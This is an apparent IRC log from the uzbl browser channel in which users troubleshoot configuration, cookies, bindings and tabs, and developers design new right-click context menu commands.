06:26 < comhack> modnaru: I found that the shorcuts for uzbl do not work on the gmail page   although, I use archlinux branded gmail    another reason why I use alpine now plus its easier
06:26 < modnaru> comhack: I guess I can give alpine a spin too.
06:26 < comhack> I did not have that issue though with uzbl-git
06:27 < comhack> hehehe modnaru
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06:32 < comhack> Still trying to figure out why I did not use cookies_daemon before. A week with having to sign into 4 sites everything I launced uzbl
06:32 < comhack> #everytime
06:33 < comhack> After using Openbox for a year, it is so much easier to do everything with the keyboard Uzbl/Xmonad/Xmobar
06:33 < comhack> Im loving it
06:34 < keis> comhack: have you got folderlist to work with imap?
06:35 < comhack> not yet
06:35 < comhack> but I do not use folders anyway
06:35 < comhack> I keep it all in inbox
06:35 < keis> eeeuw :P
06:36 < comhack> I know you can though   I read about it before
06:36 < comhack> I use flags in alpine
06:36 < keis> you found some guide, but it isn't working
06:37 < comhack> Alpine has Flag New, Deleted, Answered, Forwarded or Important flags
06:37 < comhack> or you can make more flags
06:37 < keis> are the flags exported over imap?
06:37 < comhack> ot for sure only been using for about a week or less
06:37 < comhack> sorry
06:38 < comhack> not an expert at alpine yet   give me time........
06:38 < keis> hmm
06:38 < comhack> There are alot of configurations in the config part so probably
06:39 < keis> it's working subdirectories
06:39 < keis> +with
06:39 < comhack> cool
06:40 < comhack> http://jaysonrowe.com/2008/08/30/how-to-see-gmail-labels-as-imap-folders-in-alpine/
06:40 < comhack> oops sorry
06:40 < comhack> not there anymore
06:40 < keis> google cache?
06:41 < comhack> it wasnt a google link but yeah
06:41 < comhack> http://javatarian.wordpress.com/2008/02/01/configuring-alpine-with-gmail/ got it from there
06:45 < comhack> ahhhh
06:46 < comhack> look here under Configuration  http://shakthimaan.com/installs/alpine-email-setup.html    "Enable Incoming Folders Collection"
06:46 < keis> thx
06:46 < comhack> maybe it helps
06:46 < comhack> I am just shooting in the dark
06:46 < comhack> hehehe
06:47 < keis> should propably look at all those options anyway :PY
06:47 < comhack> yup
06:47 < comhack> got a bunch
07:02 < keis> haha, not writing anything in path for the folder did what I wanted XD
07:02 < comhack> cool
07:02 < comhack> glad it worked for you
07:05 < xerxesdaphat> hey guys, got another silly question
07:05 < xerxesdaphat> cookie daemon works beautifully by the way
07:05 < xerxesdaphat> only issue, if i launch uzbl from a terminal, everything is great
07:06 < xerxesdaphat> if i launch it from gmrun (an alt-f2 run-command sort of thing), no cookies
07:06 < comhack> hmmm what does the terminal output say?
07:06 < xerxesdaphat> this i'm assuming is because XDG_DATA_HOME etc. are set in my bashrc
07:06 < xerxesdaphat> they aren't set globally, only in my bash shell
07:06 < comhack> hmmm
07:06 < keis> yeah, you could launch a script with #!/bin/bash
07:07 < xerxesdaphat> right yeah i saw something like that on the cookie daemon thing on the wiki
07:07 < xerxesdaphat> the make sure the daemon was launched anyway
07:07 < xerxesdaphat> i was just wondering if there was a way to set environment variables globally
07:08 < keis> bashrc should work, if you set it before any interactive guard
07:09 < xerxesdaphat> hm
07:09 < xerxesdaphat> i may just go down the little script route, that way i can have tabs etc.
07:09 < xerxesdaphat> no built-in tabs for stumpwm
07:10 < comhack> what useragent do you all use. I get a mobile version of some sites
07:11 < keis> I use the default..
07:11 < comhack> yeah its no big deal
07:12 < comhack> only one site does that   facebook   My sister uses it so I check her status sometimes
07:12 < comhack> but I do not really care that much  I have the default
07:12 < comhack>  I was just curious
07:13 < xerxesdaphat> comhack: i just went to facebook to try it out
07:13 < xerxesdaphat> i get a 404 when logging in!
07:13 < xerxesdaphat> bizarre
07:13 < comhack> hehehe
07:14 < comhack> oh now no mobile version wtf
07:14 < comhack> I dont have an account but myspace did it
07:14 < comhack> mobile version
07:15 < comhack> guess thats good since I hate it
07:15 < keis> you could try adding "Mozilla/5.0"
07:16 < keis> I think many sites check for that
07:16 < comhack> cool thanks
07:16 < keis> as the first token
07:16 < xerxesdaphat> ah, interesting
07:16 < xerxesdaphat> the 404 page goes away when i switch of polipo (the proxy i'm using)
07:16 < xerxesdaphat> i assume you guys are using some sort of caching proxy so you have a disk cache?
07:16 < comhack> nope no proxy
07:17 < xerxesdaphat> in new zealand our pipes aren't very fat :p
07:17 < comhack> ahh in the US
07:17 < keis> I think even internet expolerer is using "Mozilla" :)
07:18 < comhack> hehehehe
07:18 < comhack> brb
07:18 < comhack> k
07:18 < comhack> back
07:19 < keis> I hope alpine is caching the sorting of my dirs, took about 10 min to sort a medium size dir with threading :P
07:20 < comhack> should be
07:20 < comhack> it takes a couple of minutes the first time
07:20 < comhack> OF course I have 15k+ messages
07:21 < comhack> 15,556
07:22 < comhack> is it still working?
07:22 < comhack> shouldnt take that long
07:23 < keis> nah, but I have only looked at some smaller dirs
07:23 < comhack> ph pk
07:23 < keis>                                              [Sorting "[Google Mail]/All Mail" |          |]
07:24 < keis> let's see how long this takes :)
07:24 < comhack> ha Linus uses Alpine
07:24 < comhack> http://www.lifehacker.com.au/2008/01/lifehacker_australia_interview/
07:24 < comhack> hehehe
07:27 < keis> wow, done already :)
07:27 < keis> guess it could reuse some already downloaded messages
07:28 < comhack> cool
07:28 < comhack> if you are using arch, there is a version of alpine called re-alpine in AUR
07:28 < comhack> alot newer package
07:28 < comhack> installing now
07:29 < keis> nah, im on gentoo
07:29 < comhack> ahh
07:38 < comhack> asciiquarium hahhahahahaha
07:38 < comhack> http://www.robobunny.com/projects/asciiquarium/html/
07:38 < keis> haha :)
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08:01 < comhack> keis: Have you noticed spacing is off when posting in forums. Like a space between sentences disappear when you click submit.
08:02 < keis> no, don't post much to forums
08:02 < comhack> I have found hitting making two spaces result in a single space between sentences    it weird
08:02 < comhack> ahh ok
08:02 < comhack> No biggie but a pain sometimes
08:02 < comhack> have to edit the posts
08:02 < comhack> thanks anyway
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09:18 < mason-l> Afternoon guys.
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10:15 < Dieterbe> hi
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10:46 < rob|> morning.
11:00 < rob|> hmm, even surf can set custom context menu items nowadays. time for us to catch up..
11:01 < mason-l> But what config syntax is most appropriate?
11:01 < mason-l> This will have to be done on the uzbl-core end.
11:04 < rob|> yes, i thought about a new command: "context_menu add <item name> <uzbl command>"  and "context_menu remove <item name>"
11:04 < mason-l> But
11:04 < mason-l> We also need a type specifier in there
11:05 < mason-l> I.e. context menu item for an image/link/nothing
11:05 < mason-l> And if its an image & link then combine the menus
11:05 < rob|> yep, surf seems to work only on the "default" menu
11:05 < rob|> or rather on all menus always showing the same items
11:06 < mason-l> "menu add <type> <label> = <command>"
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11:06 < mason-l> "menu rm <label>"
11:07 < mason-l> Or do you think we will also need the type in there?
11:07 < mason-l> "menu rm <type> <label>" ?
11:11 < rob|> yeah, probably. especially if there are items with the same names on different menus
11:12 < mason-l> My thought exactly.
11:12 < rob|> just need to figure how to identify the context menus
11:13 < mason-l> Also it would be helpful to be able to specify the items order in the context menu
11:14 < mason-l> With something like "menu order <type> <label> <position>"
11:17 < mason-l> And position can be of: top, bottom, +num, -num, num.
11:17 < mason-l> s/be of/be any of/
11:18 < Dieterbe> sounds a bit like an overcomplication to me. what about just always ordering alphabetically?
11:18 < mason-l> Then everything will be backwards.
11:19 < Dieterbe> o_O
11:19 < mason-l> People will start naming their menu items "1Top item" "*AAA*BestPriceInTheLand" "******AAA*SexyTimeYes"
11:21 < Dieterbe> i think you're overcomplicating things
11:21 < Dieterbe> and i don't see what's wrong with prefixing numbers or whatever if users really want things to be ordered in a specific way
11:22 < rob|> we will add them in the order they where defined
11:22 < rob|> concatenated to the default items
11:23 < mason-l> rob|, And we are going to move the hard-coded "back, forward, stop, reload" into the config?
11:23 < rob|> so we basically keep the custom items in an array and add them in order whenever the menu is about to pop up
11:23 < Dieterbe> rob|: that behaviour will probably please the most people. without complicating things
11:23 < rob|> mason-l: no, we just keep those as is
11:23 < Dieterbe> mason-l: yeah i would do that
11:24 < Dieterbe> :)
11:24 < mason-l> lol
11:24 < mason-l> no yes
11:24 < mason-l> rob|, It's easy we already have back, forward, stop, reload commands
11:24 < Dieterbe> who uses those things? i think it's fits more with our ultraconfigurable nature to put the commands for those in the config
11:24 < mason-l> And it will show users examples of how to do it.
11:25 < mason-l> I don't use them myself I'd rather have useful things in my context menus :)
11:26 < Dieterbe> dito
11:32 < rob|> hmm, i hoped the menus would set a specific title so we could figure on which we're currently working, but it doesn't seem like they would :(
11:34 < mason-l> As in link/image/nothing ?
11:34 < rob|> exactly
11:34 < mason-l> The link part is easy: just check if a link is being hovered.
11:34 < mason-l> Image is more difficult.
11:37 < rob|> indeed :(
11:37 < rob|> well, i have to go now (shopping with my gf :() will get back to you later
11:37 < rob|> bye
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11:41 < mason-l> ok
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12:16 < Dieterbe> 11:37:56 < rob|> well, i have to go now (shopping with my gf :() <-- well, we won't see him back for a while :P
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12:31 < jck> can uzbl do something like curls -p option?
12:35 < jck> that is proxy tunneling
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13:30 < Dieterbe> jck: how does -p work exactly? they say 'tunnel', but tunnel over what? http? or are they just using too fancy words to just say 'use the proxy for non-http traffic also'
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13:31 < jck> from the man page:                When  an HTTP proxy is used (-x/--proxy), this option will cause               non-HTTP protocols  to  attempt  to  tunnel  through  the  proxy               instead  of merely using it to do HTTP-like operations. The tun‐               nel approach is made with the HTTP  proxy  CONNECT  request  and               requires that the proxy allows direct connect to the remote port               number c
13:31 < jck> this option = -p
13:31 < Dieterbe> i read the manpage
13:31 < Dieterbe> and their weird explanation triggered my question
13:32 < jck> i dont understand what -p does but when i use it i can bypass my proxy's word filter
13:32 < jck> like i normally cant open websites with the word facebook in the url
13:32 < jck> but using curl -p i can download the html
13:33 < Dieterbe> facebook in the hostname, you mean? or in the path?
13:34 < jck> path
13:35 < jck> it still cant download facebook.com but i dont care about that
13:35 < jck> but it can get reddit.com/r/something/facebook_something
13:35 < Dieterbe> hmm i don't get how that works. because you're talking about a normal http page with 'facebook' in the path. that's not non-http traffic
13:35 < jck> which my proxy blocks
13:37 < Dieterbe> anyway, no uzbl doesn't do anything like that.  it would be nice to have 'send non-http traffic [ie dns] trough the tunnel' though, but i'm not sure if that is what curl does because they fail to explain what it does in simple words
13:37 < Dieterbe> erm, i meant 'through the proxy'
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15:44 < comhack> Anyone know how to print something with uzbl?
15:44 < comhack> or is it possible
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15:56 < ruskie> comhack, sure it's possible
15:57 < ruskie> bind    :export_   = sh 'echo "js window.print();" > "$4"' <--
15:57 < comhack> ahh cool
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15:58 < comhack> I knew it possible but I did not see anything in the config file relating to printing and could not find any links for uzbl and printing
15:58 < comhack> Guess I should learn more of haskell
16:00 < comhack> awesome works great
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16:25 < mason-l> Its funny, I ran into jck 2 hours ago: http://www.reddit.com/r/programming/comments/9uz3h/dear_proggit_curls_p_option_b_y_p_a_s_e_s_my_p_r/c0ek93p
16:25 < mason-l> Hes really stretching for help.
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16:27 < mason-l> ruskie, Wouldn't a simpler binding be: "bind :export_ = js window.print();"
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17:58 < Gentooer> is it possible to use linkfollow.js to open a link in a new window?
18:00 < jelly12gen> Gentooer: yes
18:00 < jelly12gen> check the uzbl wiki
18:00 < Gentooer> ok, thanks
18:01 < jelly12gen> np
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18:05 < sentientswitch> hm, is it possible to pass a keypress to uzbl via fifo or something? Context:there's a site with keyboard shortcuts so I want to be able to pass arrow key presses to the site using a some commnad
18:11 < rob|> sentientswitch: yes, with js this should be possible
18:12 < keis> something like "event KEY_PRESS <Up>"
18:12 < keis> ah, to webkit.. nvm
18:13 < sentientswitch> cool, unfortunately I don't know js but I may be able to hack something together
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19:05 < noisetonepause> hm
19:05 < noisetonepause> mate tells me uzbl shows up as
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19:05 < noisetonepause> "Uzbl (Webkit WEBKIT_MAJOR.WEBKIT_MINOR.WEBKIT_MICRO) (SYSNAME NODENAME KERNREL KERNVER ARCH_SYSTEM [ARCH_UZBL]) (Commit COMMIT)"
19:05 < noisetonepause> in his logs
19:05 < noisetonepause> as in, exactly like that
19:05 < noisetonepause> unexpanded variables...
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19:12 < sentientswitch> seems to work ok on mine :p
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19:13 < keis> hehe, someone has been working those g_strdup calls :P
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20:35 < rob|> noisetonepause: he must have missed the '@' in front of the vars/constants
20:35 < noisetonepause> sorry, unclear: this is when i access his webserver
20:36 < noisetonepause> he gets that in his logs
20:36 < rob|> noisetonepause: show us the "set useragent = ... " line from your config
20:36 < noisetonepause> set  useragent       = Uzbl (Webkit WEBKIT_MAJOR.WEBKIT_MINOR.WEBKIT_MICRO) (SYSNAME NODENAME KERNREL KERNVER ARCH_SYSTEM [ARCH_UZBL]) (Commit COMMIT)
20:36 < noisetonepause> this is a default config from two months ago or so
20:36 < rob|> also right, you need to add a '@' in front of every var in there
20:37 < noisetonepause> ok.
20:37 < DuClare> Default config?
20:37 < rob|> i.e. @WEBKIT_MAJOR.@WEBKIT_MINOR etc
20:37 < noisetonepause> err
20:37 < noisetonepause> example config file
20:37 < rob|> DuClare: nope
20:37 < rob|> what, really?
20:38 < noisetonepause> yeah
20:38 < noisetonepause> there are two lines
20:38 < noisetonepause> one shorter, which is commented out
20:38 < noisetonepause> and the one i just pasted
20:38 < noisetonepause> might've uncommented this one and taken the other one out
20:38 < noisetonepause> but i didn't write it myself
20:39 < rob|> you must be running an old version of the config with a newer uzbl
20:39 < noisetonepause> yep
20:39 < rob|> right, so a couple of things have changed since then
20:39 < noisetonepause> ah, makes sense.
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20:42 < psychon> hi, anyone can give me a hint why I can't enter "~"?
20:43 < noisetonepause> psychon: is it bound to something?
20:43 < psychon> nope
20:43 < psychon> it's a dead key if that helps (but ~ + space doesn't do anything)
20:43 < noisetonepause> don't know then, sorry
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20:52 < sentientswitch> :70
20:52 < sentientswitch> oops.. :P
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21:04 < YamiFrankc> Hey guys. Whats bad with this bind? I cant find the problem and it doesnt get me to elotrolado.net :/
21:05 < YamiFrankc> bind    eol       = uri http://elotrolado.net/foro_pc-software-libre_84
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21:06 < mason-l> YamiFrankc, And you are using the main master branch
21:06 < mason-l> ?
21:06 < psychon> anyone can tell me how I am supposed to properly save a session with uzbl_tabbed? :/
21:06 < YamiFrankc> Oh,yeah. forgot to say. using master
21:07 < mason-l> YamiFrankc, Try using the !dump command (in the example config) to see what uzbl thinks you've entered.
21:07 < mason-l> psychon, Have you tried the gsave command ?
21:07 < YamiFrankc> i just made another bind (fo) and it works without problem
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21:07 < YamiFrankc> mason-l,ok
21:07 < psychon> mason-l: so if I gsave I can gload that session later?
21:08 < mason-l> psychon, Yes with gload
21:08 < psychon> and how do I tell what to start with?
21:10 < YamiFrankc> Hmm,i get nothing from doing !dump on uzbl
21:10 < mason-l> psychon, Well sessions traditionally just save the state of the browser when you exit. There is no default session setting, the session is always the last session. gsave and gload work differently and save what would be a session file in $XDG_DATA_HOME/uzbl/sessions/ for re-loading later.
21:10 < psychon> hm ok
21:10 < psychon> I'll try to be creative ;)
21:10 < mason-l> YamiFrankc, Maybe I'm remembering the command name incorrectly.
21:11 < mason-l> YamiFrankc, Do you see something to that effect in the example config?
21:11 < YamiFrankc> theres a !dump bin on the example config
21:11 < YamiFrankc> bind    !dump     = sh "echo dump_config > $4"
21:12 < YamiFrankc> bind*
21:12 < mason-l> Theres a bit of cruft on that bind, try this: bind !dump = dump_config
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21:14 < psychon> hm, any way to get access to uzbl_tabbed's fifo? I want to write a "special" command :(
21:14 < mason-l> psychon, Whats stopping you from accessing it?
21:14 < mason-l> It should be in /tmp like the rest
21:14 < psychon> well, I want to access it via an automatic key binding
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21:15 < psychon> and I cant get the path to it since it's semi-random
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21:16 < YamiFrankc> mason-l, done. now what i do?
21:16 < mason-l> Its a difficult problem to solve on the uzbl side, I've hard-coded all bind setting inside uzbl-tabbed which is why you use set command (instead of the bind command) to change uzbl_tabbed bindings.
21:16 < psychon> ah, you are the uzbl-tabbed guy? nice job then ;)
21:16 < mason-l> psychon, If you don't mind a little bit of python its easy to add in your own command.
21:17 < psychon> I never wrote a single line of python before
21:17 < psychon> but I was actually able to understand most of that code
21:17 < psychon> let's see how badly I'll need sessions ;)
21:17 < mason-l> psychon, Thats what I love about python :)
21:17 < mason-l> psychon, So what are you trying to do?
21:18 < psychon> I'm more familar with C-like syntax
21:18 < psychon> mason-l: add a "q" binding which does gsave default
21:18 < psychon> and load default on startup
21:18 < mason-l> YamiFrankc, Another thing to check (double check) is nothing is already using e or el as a binding because they will be activated before you get a chance to type elo.
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21:21 < mason-l> psychon, If you look on lines 1024-1038 that is where the binds are sent to the uzbl instance.
21:21 < mason-l> So add the new binding there.
21:21 < psychon> yeah, already saw that
21:21 < mason-l> ok
21:21 < psychon> but currently I'm running the code from /usr/share/doc/uzbl (where debian installed it to)
21:22 < psychon> I'm still wondering if I need this badly enough to copy the file over ;)
21:22 < psychon> but thanks for the hint
21:22 < mason-l> Well its very easy: bind('q', 'preset save default')
21:22 < psychon> still I would have to copy the file over :(
21:23 < mason-l> Nevermind then :)
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21:23 < YamiFrankc> mason-l. Nope, not others uses e. the problem seems to be the url :/. If i change the urls on fo and eol binds then eol works and do doesnt.
21:23 < YamiFrankc> but i can go to that exact url using the o bind
21:24 < YamiFrankc> fo*
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21:29 < mason-l> YamiFrankc, I don't know what to suggest. Are you using the latest master?
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21:35 < YamiFrankc> yep
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01:21 < meejah> is it possible to know if/what url the "cursor" might be in when return is pressed?
01:21 < meejah> i want to search for a link and follow it on return
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05:36 < sykora> Hello, all. I'm having a bit of trouble with uzbl_tabbed.py, I'm able to start the tabbed instance, but I'm not able to bind any keys, and the tabs never finish "Loading". Any ideas?
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06:35 < comhack> Hmm weird I am running uzbl-git  20091016-1
06:36 < comhack> and for some reason google.com only shows the logo and the search box with the radio   no sign in or nothing
06:37 < comhack> just started today?
06:37 < comhack> if I set it to google.com/ig it works weird
06:38 < comhack> usco
06:41 < modnaru> I had something like that, but only on barcode day.
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06:43 < comhack> modnaru: oh yeah I remember that
06:43 < comhack> oh well I just set home to google.com/ig
06:44 < comhack> no big deal but thanks anyway
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10:36 < maerline> is it possible to bind keys such as arrow keys, escape, mouse buttons, etc. to functions in uzbl? I haven't seen any kind of syntax for that in the README...
10:39 < mason-l> maerline, You should check out the experimental branch
10:39 < mason-l> Mine specifically
10:40 < mason-l> Everything bar mouse binding.
10:40 < maerline> what's the name of the branch?
10:40 < mason-l> git://github.com/mason-larobina/uzbl.git
10:40 < maerline> thanks
10:40 < mason-l> np
10:40 < mason-l> Default branch is the experimental branch, you should have no problems.
10:41 < mason-l> We are still working on a nice way to customise the binding of keys like escape but that should be in soon.
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10:45 < Dieterbe> good morning dudes
10:48 < ruskie> lo
10:48 < mason-l> Morning Dieterbe.
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10:50 < mason-l> My dogs name is Snow :)
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14:22 < farhaven> hey people
14:22 < farhaven> does anyone else have the problem that webkit does not render local files anymore?
14:23 < farhaven> everything coming in via file:// is simply displayed as if it were a text file
14:23 < farhaven> i.e. i can see the markup code
14:23 < farhaven> that also happens when i try to run the webkit inspector
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15:23 < wart_> Hi.  I'm looking for a way to store / remember / auto-retrieve usernames and passwords in uzbl (and/or surf)?
15:32 < Dieterbe> formfiler
15:32 < Dieterbe> filler*
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16:04 < psychon> any hint how I can download something on passworded sites? (which pretty much means that must be from within uzbl, I guess)
16:05 < psychon> either http basic auth or some auth thingie which sets a cookie, both dont really work with webkit :(
16:05 < psychon> farhaven: btw hi :p
16:08 < Dieterbe> you just have to tell curl/wget to use the same cookie
16:08 < Dieterbe> there's info about that on the wiki i think
16:10 < wart_> does anyone combnie their uzbl with fvwm?
16:10 < wart_> dieterbe: thanks for the suggestion.  looks like it will do the trick.
16:15 < wart_> wow.  as far as I can tell both the formfiller.sh and the .pl insist on /redownloading/ the html content in order to do their tricks.  that's pretty nasty overhead.
16:16 < wart_> it seems like one could do something like the following instead: when one is about to fill in a form, hit X and dmenu pops up which stores the user input into both a file and passes it on to the app.  And if you hit Y it takes from that file.
16:18 < Dieterbe> there are some formfillers out there that don't redownload, i'm not sure in which branch they are, they should at least be in experimental, probably also in latest master
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16:38 < Gentooer> hi, is anyone able to download attachments from gmail? I tried using the dl-cookies script from the wiki, but it still just downloads the gmail login page.
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18:06 < rob|> pushed:  menu_add/menu_remove commands
18:06 < rob|> use them like:  menu_add <item name> <uzbl command>
18:06 < rob|> and: menu_remove <item name>
18:07 < rob|> note the items need to be quoted, like:  menu_add 'Goto Uzbl' 'set uri = uzbl.org'
18:07  * ruskie wonders what menu right click?
18:07 < rob|> yes, right click context menu
18:07 < ruskie> nice
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18:08 < ruskie> need to wait for the EM stuff to get solidified into master more than this week it's one thing next week something else
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18:22 < psychon> the download-with-cookie example seems quite broken :(
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18:31 < rob|> well, added some menu_add examples to the config. at least a 'Exit' menu item make quite some sense..
18:31 < rob|> *makes
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18:34 < lich> is this useable yet? :P
18:49 < rob|> menus? sure..
18:50 < lich> I moved to vimperator for a bit. hope the caret browsing improves and fast :(
18:51 < rob|> caret browsing is handled by webkit, we just make use of it. no custom code there..
18:52 < lich> damn
18:52 < rob|> so it'd be best to file a feature request with the webkit guys
18:52 < lich> I hate it that you can only jump with tab, doesn't go through the text like in vimp/ff
18:54 < lich> wait, I misspoke
18:54 < lich> it works like it should?!
18:54 < lich> I think my vm at work is bugged
19:00 < lich> rob|: apparently you don't have to be in insert mode, works in cmd mode too
19:00 < lich> YOU LIED TO ME! :))
19:02 < rob|> might work so in master but not in experimental..
19:03 < lich> any update yet?
19:04 < rob|> ?
19:05 < rob|> mason-l: it might be a not too bad idea to 'set forward_keys = 1' if in caret browsing mode
19:06 < rob|> mason-l: from the EM, that is
19:06 < mason-l> caret?
19:07 < rob|> yeah, you get a pointer/caret that you can move with tab/cursor keys and select elements from the site with it
19:07 < rob|> just try "set caret_browsing = 1"
19:08 < lich> I don;t use a mouse anymore, so I use this
19:08 < lich> tbh it works better than in vimperator now that I look at it
19:08 < lich> ok I'm back :))
19:08 < lich> mason-l: you're the -tabbed dev right?
19:09 < mason-l> lich, Yeah
19:09 < mason-l> rob|, Interesting, I never knew that feature existed.
19:09 < lich> mason-l: and what a great feature it is
19:09 < mason-l> rob|, However... its a little awkward to account for.
19:09 < lich> now If it would work in reverse, selecting from the terminal..would be the best
19:10 < lich> mason-l: where can I grab an uzbl_tabbed.py that has g# working?
19:10 < lich> g1 for tab 1 etc?
19:10 < lich> did you get a chance to look over it?
19:10 < mason-l> lich, Don't you mean gi# /
19:10 < mason-l> '?
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19:11 < lich> lmao!
19:12 < lich> so I am using -tabbed for weeks now, and though the feature is broken
19:12 < lich> I was doing g#
19:12 < mason-l> :)
19:12 < lich> cheers, you've made me happy
19:12 < lich> have a cookie
19:12  * lich gives mason-l a cookie
19:12  * mason-l eats cookie
19:12 < DuClare> "Sorry, I filter all cookies"
19:12 < lich> lol
19:13 < lich> can you say that in 日本語 ?
19:13 < DuClare> Always give a biscuit instead!
19:13 < rob|> hmm, we should also be able to draw menu separators with 'menu_add
19:13 < lich> you guys actually work on menus!?
19:14 < lich> right click ones, or actually adding a menu?
19:14 < rob|> just not sure how to present this to the user
19:14 < rob|> right click
19:16 < rob|> maybe 'menu_add SEPARATOR'  and only add the separator if there are no further arguments to menu_add (i.e. "menu_add SEPARATOR foobar" would add a SEPARATOR item that executes the foobar command)
19:16 < rob|> ^s/SEPARATOR item/item with SEPARATOR as its name/
19:17 < mason-l> Or: menu_add_sep
19:17 < mason-l> :)
19:17 < rob|> hehe, even better
19:24 < lich> anyone happen to know how to get the url of the highlighted link in caret mode (or whereever for that matter)?
19:24 < lich> I know $6 is the current url I'm on, but what about hovering a link?
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19:32 < rob|> hmm, the only problem with separators is that it's pretty hard to remove them
19:32 < rob|> well, we could associate a "name" with each separator
19:32 < rob|> but that doesn't seem to be very straightforward..
19:33 < rob|> menu_add_separator first_sep
19:33 < rob|> menu_remove first_sep
19:33 < rob|> hmm...
19:36 < rob|> lich: the answer is javascript and selection.anchorNode
19:37 < rob|> lich: webkit does not expose the DOM on the C level yet, so you will need JS for any in-site operation
19:38 < lich> meh, I'll just go to the link then hit yy (my binding for selecting current url)
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19:38 < lich> mason-l: any way I could use gi # without the need to press enter afterwards?
19:39 < rob|> lich: http://stackoverflow.com/questions/1197401/how-can-i-get-the-element-the-caret-is-in-with-javascript-when-using-contentedit
19:39 < lich> thanks rob|
19:39 < lich> I don't know any JS or how to make a binding for stuff, I'll work it out somehow
19:40 < rob|> the net is full of JS documentation, i'm sure you'll get it working
19:40 < lich> thanks
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19:57 < rob|> ok, so added a "menu_add_separator <name>" command
19:58 < rob|> it _requires_ a name otherwise no separator will be drawn
19:58 < rob|> also you can remove it with "menu_remove <separator name>"
20:00 < rob|> one more thing, shall we stick with this syntax or rather use: menu_add name = command
20:00 < rob|> this would at least not require any quoting
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20:04 < mason-l> rob|, Are we still able to define if we want the menu item to appear in {image, link, normal} context menus?
20:05 < rob|> nope, there seems to be no way to determine which menu raised the signal to populate it. already asked on #webkit-gtk but got no answers so far
20:06 < rob|> so, we add our custom entries to _every_ context menu
20:06 < mason-l> rob|, Well the link is easy
20:06 < mason-l> Just check if the LINK_HOVER event has been raised
20:07 < mason-l> Image can be added later after future webkit versions allow it I suppose.
20:08 < lich> can I open a `fl' hint in a new tab?
20:09 < rob|> mason-l: hmm, i guess i'll add this when we can figure which menu triggered which signal. until then i'll stick to the current behaviour
20:09 < mason-l> How do you mean "which menu triggered the signal"?
20:11 < rob|> well, webkit context menus work like this:  when you right click a "populate-popup" signal will be triggered. in the signal handler we iterate through an array of menue entries set by the user (with menu_add) and just add them to the current menu
20:11 < rob|> _but_ there is _no way_ to determine which specific menu triggered the "populate-popup" signal :(
20:12 < lich> don't you guys just love when rob underlines his accentuated words? :)
20:12 < mason-l> And there are multiple menus?
20:12 < rob|> so, until there is a way to determine which menu triggered the signal we just add our custom entries to every menu
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20:12 < rob|> mason-l: sure, you just enumerated them
20:12 < mason-l> Mmm, ok.
20:13 < rob|> link context, image context, etc.
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20:22 < rob|> anyways, do we also need submenus? these could be pretty nice for building a "frequent visited sites" submenu
20:23 < rob|> though, i reckon with all this menu stuff we're moving away from our keyboard driven model..
20:26 < ruskie> even vim has some mouse stuff
20:26 < rob|> and submenus ;)
20:26 < rob|> gvim at least
20:27 < ruskie> I just wish uzbl would be better with mouse
20:27 < mason-l> rob|, I agree when you say submenus is losing the plot.
20:27 < ruskie> sometimes I manage to drag and have it locked up in a drag
20:27 < Zombywuf> JS Overlay should do what you need
20:27 < ruskie> can't get out of it until I kill it
20:27 < rob|> ruskie: well, the mouse is managed solely by webkit
20:28 < mason-l> ruskie, Do you mean the alt gets stuck down?
20:28 < Zombywuf> Webkit will freeze if the dl stalls
20:28 < rob|> i love it when i'm able to blame others for ill behaved functionality ;)
20:28 < ruskie> mason-l, erm??? alt???
20:28 < ruskie> I'm not using any of those weird keycombos yet since there is still no support for them the way I like it ;)
20:28 < Zombywuf> Is there a setting for progressive rendering update frequency?
20:28 < mason-l> ruskie, You mentioned a drag and holding alt with the mouse pressed will drag a window in some window manager.
20:29 < ruskie> no
20:29 < mason-l> s/manager/managers/
20:29 < ruskie> drag and drop of a selection
20:29 < ruskie> X11DnD
20:29 < ruskie> that's what get's locked up
20:29 < ruskie> and along the way input get's locked up as well
20:29 < ruskie> and can't disengage it
20:29 < ruskie> it happens to me with any browser usually
20:30 < ruskie> but in most I can just click somewhere and it will lose the drag
20:30 < lich> didn't know we have d&d yet
20:32 < rob|> ruskie: hmm, what's "the way you would like" regarding bindings?
20:33 < ruskie> to be able to have some as ctrl+something some as ctrl+alt+something some as alt+something etc...
20:33 < ruskie> basically mix and match modifiers etc...
20:33 < rob|> on this note, i think it would be nice to re-introduce the modkey
20:33 < ruskie> another thing I notice is that primary selection doesn't always work which is annoying to say the least
20:34 < ruskie> i.e. if I want to select a piece of text to copy paste
20:34 < rob|> like "set modkey = <Ctrl>" and everytime the user _holds_ alt  the EMl would swicth to command mode and intereprete the key sequence as a command
20:34 < ruskie> I need to select it right click it hit copy to be sure it get's through
20:34 < rob|> *EM
20:34 < lich> ruskie: selected text doesn;t get added to clipboard?
20:34 < ruskie> to the primary one... i.e. just selecting
20:35 < lich> ruskie: works for me
20:35 < lich> hmm
20:35 < ruskie> it often also get's very quikcly deselected
20:36 < ruskie> atm I'm just waiting for all the EM stuff to crystalize into something sane and not changing every so often
20:36 < rob|> mason-l: how difficult would it be to de this on the EM side?
20:36 < mason-l> rob|, Not difficult at all.
20:37 < mason-l> I've still got to pull in keis' changes so it will be a day or so before I get to it.
20:37 < mason-l> But I'll put it on my todo list.
20:37 < rob|> mason-l: "request MODKEY Ctrl" -> EM listens for "KEY_PRESS Ctrl" -> switches to command mode -> interpretes all key presses as commands until -> "KEY_RELEASE Ctrl" -> swicth back to insert mode
20:37 < lich> put gi # without return on your TODO too :)
20:37 < lich> hey, that sounds funny
20:38 < rob|> together with stacked bindings this would easily allow for emeacs style bindings
20:38 < mason-l> lich, Thats not feasible.
20:38 < lich> oh well
20:38 < mason-l> lich, What if the user has >10 tabs open.
20:38 < ruskie> rob|, hmm so stacking ctrl+alt+something or ctrl+something or alt+something is already possible?
20:38 < lich> mason-l: that's right, didn;t even think of it
20:39 < mason-l> lich, The only reason I didn't do it in the first place :)
20:39 < mason-l> However.
20:39 < lich> yeah, I lack some logic
20:39 < rob|> ruskie: yes, i'm not sure you're aware of how stacking works, though
20:39 < ruskie> I usually use alt+>|<(switching tabs, also in vim) and ctrl+i(switch to location entry) a lot
20:39 < ruskie> usually only my WM bindings are ctrl+alt
20:39 < lich> I changed my css
20:39 < lich> made it blueish :D
20:39 < ruskie> app level ones are ctrl or alt
20:39 < mason-l> I may be able to make it so that you enter '05' to go directly to 5 without pressing enter with >10 <100 tabs.
20:40 < mason-l> But that isn't really worth it.
20:40 < ruskie> rob|, well I'm sure I'll find out one day :)
20:40 < ruskie> rob|, maybe when it's decided to stop changing things :)
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20:40 < rob|> ruskie: yeah, you should really give it a try. it's pretty amazing yet
